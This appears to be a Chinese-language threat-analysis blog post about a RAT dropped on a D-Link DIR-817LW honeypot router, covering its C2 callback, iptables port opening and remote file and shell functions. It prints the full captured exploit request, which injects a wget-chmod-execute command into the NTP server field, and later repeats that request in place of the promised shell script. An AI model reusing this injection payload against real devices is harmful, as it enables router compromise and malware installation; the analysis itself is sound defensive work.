物联网威胁监测系统最新发现一款针对IoT设备的RAT远控木马

一、背景概述

2022年7月20日,天穹威胁监测系统监测到IoT蜜罐系统中的D-Link Dir 817LW路由器遭受来自澳大利亚IP的攻击。系统显示目标设备被攻击成功,并且下载了恶意样本。实验室相关人员第一时间对该攻击事件样本进行分析,发现该次攻击投递的恶意样本为具备RAT功能的恶意程序。

 

 

二、关键线索

2.1 攻击特征

我们从天穹威胁监测系统提取了漏洞攻击请求原文,如下所示。根据Payload特征,发现此漏洞是Nday,暂无漏洞编号。

POST /hedwig.cgi HTTP/1.0 Host: 158.*.*.8:8011 Connection: close Content-Length: 515 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: */* Content-Type: text/xml Cookie: uid=5r3JP1jSru <postxml> <module> <service>DEVICE.TIME</service> <device> <time> <ntp> <enable>1</enable> <period>604800</period> <server>0.pool.ntp.org ; (wget -O /tmp/x http://149.28.174.108/dL.html ; chmod 777 /tmp/x ; /tmp/x) &amp; exit; </server> </ntp> <ntp6> <enable>1</enable> <period>604800</period> </ntp6> <timezone>57</timezone> <time/> <date/> <dst>0</dst> <dstmanual/> <dstoffset/> </time> </device> </module> </postxml>

2.2 Shell脚本内容

上述攻击请求会控制失陷设备下载地址为http://149.28.174.108/dL.html的文件并执行,文件内容如下所示。

POST /hedwig.cgi HTTP/1.0 Host: 158.*.*.8:8011 Connection: close Content-Length: 515 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: */* Content-Type: text/xml Cookie: uid=5r3JP1jSru <postxml> <module> <service>DEVICE.TIME</service> <device> <time> <ntp> <enable>1</enable> <period>604800</period> <server>0.pool.ntp.org ; (wget -O /tmp/x http://149.28.174.108/dL.html ; chmod 777 /tmp/x ; /tmp/x) &amp; exit; </server> </ntp> <ntp6> <enable>1</enable> <period>604800</period> </ntp6> <timezone>57</timezone> <time/> <date/> <dst>0</dst> <dstmanual/> <dstoffset/> </time> </device> </module> </postxml>

根据文件内容,该脚本为一段Shell脚本,功能为远程下载二进制木马文件并执行。我们从真实下载地址http://149.28.174.108:80/dal下载了样本得到dal文件。

三、样本分析

3.1 动态养殖

构建内网隔离环境后,我们对样本进行了养殖与监控。通过监控,我们发现样本在运行时,首先会检测传入的参数,如果无参数或者参数数量不对,则直接退出。这是一种与沙箱对抗的简单方法,可以阻止部分沙箱对样本进行养殖与监控。

3.1.1 文件行为

当我们使用Shell中的启动参数(dal 60 45.149.156.71 9701)运行样本时,进程会删除程序源文件,同时建立两个进程名为sh的子进程

pi 1074 1 0 10:50 ? 00:00:00 sh pi 1075 1074 0 10:50 ? 00:00:00 sh pi 1084 905 0 10:50 pts/0 00:00:00 ps -e 

3.1.2 网络行为

进一步分析网络通联情况,发现该程序会监听9725端口。

pi@raspberrypi:/tmp $ netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9725 0.0.0.0:* LISTEN tcp 0 224 192.168.6.188:22 192.168.4.148:26563 ESTABLISHED tcp6 0 0 :::22 :::* LISTEN udp 0 0 0.0.0.0:56975 0.0.0.0:* udp 0 0 0.0.0.0:5353 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp6 0 0 :::5353 :::* udp6 0 0 :::51194 :::* raw6 0 0 :::58 :::* 7

此外,通过流量监测发现该样本会定期与IP 45.149.156.71的9701端口建立通讯,心跳周期为60秒,所发送数据包内容为空。

 

结合该样本上述行为,我们可以判断该样本启动时三个参数的对应关系如下。

样本名    回连间隔       C2 IP         C2端口​

dal         60     45.149.156.71      9701

3.2 静态分析

3.2.1 自删除

运行后,先获取程序绝对路径并删除自身。

3.2.2 创建子进程1并放行端口

将子进程设置为守护进程。

子进程1会监听9725端口。

由于部分IoT设备存在防火墙,会拦截攻击者发送数据,该程序会调用Iptables放行9725端口,确保设备存在防火墙情况下也能与程序正常通讯。

3.2.3 创建子进程2并回连C2

子进程2:主动发起请求回连C2

3.2.4 指令操作

当攻击者与这两个进程中的任何一个建立通信后,就会去调用sub_15A8C 函数去处理接收的攻击者指令,根据接收到的不同命令实现不同的功能。

3.2.4.1 远程文件读取

Case 1 包括接收命令,打开文件和读取文件,发送数据。

3.2.4.2 远程文件写入

Case 2 会接收命令,调用的函数和 Case 1 中的一样,然后是打开文件和写入文件。

3.2.4.3 伪终端功能

Case 3 包括接收命令,接收命令调用的函数和之前一样,然后是打开设备文件,读取并发送。我们根据此函数打开设备文件位置判断这是打开伪终端。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值